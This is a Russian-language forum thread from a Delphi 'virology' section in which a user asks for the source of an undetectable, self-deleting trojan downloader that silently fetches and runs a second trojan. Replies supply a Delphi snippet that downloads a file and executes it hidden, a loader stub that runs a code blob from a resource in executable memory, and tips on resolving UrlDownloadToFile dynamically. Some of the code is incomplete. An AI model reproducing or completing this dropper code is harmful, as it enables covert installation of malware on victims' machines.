Пятница, 14.12.2012, 00:06 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 1 1
Модератор форума: gravitas, C@T  
delfcode » Delphi » Вирусология Delphi » Trojan.Downloader (Поделитесь))
Trojan.Downloader
-Drayver- Дата: Пятница, 11.03.2011, 15:28 | Сообщение # 1
Участник
Группа: Пользователи
Сообщений: 10
Статус: Offline
Поделитесь исходником етого трояна.
Если возможно сразу с даннымы функциямы.Главное чтоб не палим был.
После открытия троя - он самоудаляется,скачеет с данного сервера второй трой он весит 3.2м второй трой тоже самоудаляеться только требуется чтобы трой скачал скритно и запустил файл.
Если можно(было бы не плохо поставить таймер на скачку а точнее чтобы не сразу скачал)
Всем заранее спасибо.Надеюсь на вашу помощь.
 
gravitas Дата: Пятница, 11.03.2011, 18:26 | Сообщение # 2
Авторитетный
Группа: Модераторы
Сообщений: 371
Статус: Offline
Модуль UrlMon. Процедура UrlToFile вроде бы.
Тут вопросы, а не заказы на софт, да еще и за бесплатно.
 
Anton93 Дата: Пятница, 11.03.2011, 19:19 | Сообщение # 3
Частый гость
Группа: Пользователи
Сообщений: 62
Статус: Offline
за валюту всё решаемо biggrin wink
 
Sector009 Дата: Суббота, 16.07.2011, 19:40 | Сообщение # 4
Новичок
Группа: Пользователи
Сообщений: 6
Статус: Offline
Code
program pr1;
uses
urlmon,
ShellApi,
windows,
Sockets;
procedure d1;
var
file,dir,site:string;
Begin
UrlDownLoadToFile(nil, Pchar(site+'/ '+file), Pchar(dir+'/ '+file), 0, nil);
ShellExecute(0,' OPEN',dir+'/'+file,Nil,Nil, SW_HIDE);
sleep(100);
exit;
end;
begin
end.

Gravitas: используем теги.
 
raviti2 Дата: Суббота, 16.07.2011, 21:30 | Сообщение # 5
Участник
Группа: Пользователи
Сообщений: 15
Статус: Offline
Доступно только для пользователей
Code
program Stub;

const
cURL : PAnsiChar = 'http://www.google.co.za/intl/en_com/images/srpr/logo1w.png';
cFile : PAnsiChar = 'C:\GoogleLogo.png';

const
kernel32 = 'kernel32.dll';
MEM_COMMIT = $1000;
PAGE_EXECUTE_READWRITE = $40;
MEM_RELEASE = $8000;

function GetProcAddress(hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall; external kernel32 name 'GetProcAddress';
function LoadLibraryA(lpLibFileName: PAnsiChar): Cardinal; stdcall; external kernel32 name 'LoadLibraryA';
function FindResourceW(hModule: Cardinal; lpName, lpType: PWideChar): Cardinal; stdcall; external kernel32 name 'FindResourceW';
function LoadResource(hModule: Cardinal; hResInfo: Cardinal): Cardinal; stdcall; external kernel32 name 'LoadResource';
function SizeofResource(hModule: Cardinal; hResInfo: Cardinal): LongWord; stdcall; external kernel32 name 'SizeofResource';
function VirtualAlloc(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: LongWord): Pointer; stdcall; external kernel32 name 'VirtualAlloc';
function VirtualFree(lpAddress: Pointer; dwSize, dwFreeType: LongWord): Boolean; stdcall; external kernel32 name 'VirtualFree';

const
cFuncIn : PWideChar = 'FUNCIN';

type
TGetProcAddress = function (hModule: Cardinal; lpProcName: pAnsiChar): Pointer; stdcall;
TLoadLibraryA = function(lpLibFileName: PAnsiChar): Cardinal; stdcall;
TFuncInRecord = Record
xGetProcAddress : TGetProcAddress;
xLoadLibraryA : TLoadLibraryA;
end;
PFuncInRecord = ^TFuncInRecord;

PFuncIn = ^TFuncIn;
TFuncIn = procedure(pData : PFuncInRecord; lpTitle, lpMessage : pAnsiChar);

procedure ResGet(ResName: pwidechar; var data : pointer; var Size:LongWord);
var
ResSrc: Cardinal;
ResGlobal: Cardinal;
begin
ResSrc := FindResourceW(0, ResName, PWideChar(10));
ResGlobal := LoadResource(0, ResSrc);
Data := Pointer(ResGlobal);
Size := SizeofResource(0, ResSrc);
end;

procedure CopyMemory(Destination, Source:Pointer; dwSize:LongWord);
asm
PUSH ECX
PUSH ESI
PUSH EDI
MOV EDI, Destination
MOV ESI, Source
MOV ECX, dwSize
REP MOVSB
POP EDI
POP ESI
POP ECX
end;

var
FuncIn : TFuncIn;
pResource : Pointer;
dwResourceSize : LongWord;
AFuncInRecord : TFuncInRecord;
begin
AFuncInRecord.xGetProcAddress := @GetProcAddress;
AFuncInRecord.xLoadLibraryA := @LoadLibraryA;
ResGet(cFuncIn, pResource, dwResourceSize);
FuncIn := VirtualAlloc(nil, dwResourceSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(@FuncIn, pResource, dwResourceSize);
FuncIn(@AFuncInRecord,cUrl, cFile);
VirtualFree(@FuncIn, 0, MEM_RELEASE);
end.


Сообщение отредактировал raviti2 - Суббота, 16.07.2011, 21:32
 
gravitas Дата: Воскресенье, 17.07.2011, 19:53 | Сообщение # 6
Авторитетный
Группа: Модераторы
Сообщений: 371
Статус: Offline
raviti2, вы не так поняли значение слова "лоадер"... Посмотрите пост №4 - там примерно то, что нужно было ТС'у.

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
Lauri Дата: Пятница, 29.07.2011, 12:45 | Сообщение # 7
Новичок
Группа: Пользователи
Сообщений: 4
Статус: Offline
А как например выдрать функцию UrlDownloadToFIle из urlmon?
 
C@T Дата: Пятница, 29.07.2011, 21:08 | Сообщение # 8
Авторитетный
Группа: Модераторы
Сообщений: 226
Статус: Offline
Quote (Lauri)
А как например выдрать функцию UrlDownloadToFIle из urlmon?

можно просто написать что ты ее импортируешь, можно вызвать GetProcAddr и получить адресс функции
Code

GetProcAddr(LoadLibrary('urlmon.dll'),'UrlDownloadToFIleA');


а если тебе именно сам код функции нужен то можно дизасемблировать urlmon.dll и посмотреть в ней эту функцию

 
Lauri Дата: Суббота, 30.07.2011, 16:20 | Сообщение # 9
Новичок
Группа: Пользователи
Сообщений: 4
Статус: Offline
Quote (C@T)
Quote (Lauri)А как например выдрать функцию UrlDownloadToFIle из urlmon? можно просто написать что ты ее импортируешь, можно вызвать GetProcAddr и получить адресс функции view plaincopy to clipboardprint?
  GetProcAddr(LoadLibrary('urlmon.dll'),'UrlDownloadToFIleA'); 
  
GetProcAddr(LoadLibrary('urlmon.dll'),'UrlDownloadToFIleA');
а если тебе именно сам код функции нужен то можно дизасемблировать urlmon.dll и посмотреть в ней эту функцию

я смотрел urlmon.pas думал выдернуть саму функцию оттуда, как залез... столько кода что ппц + всё взаимосвязано так что хз как быть sad
 
delfcode » Delphi » Вирусология Delphi » Trojan.Downloader (Поделитесь))
Страница 1 из 1 1
Поиск:

delfcode.ru © 2008 - 2012 Хостинг от uCoz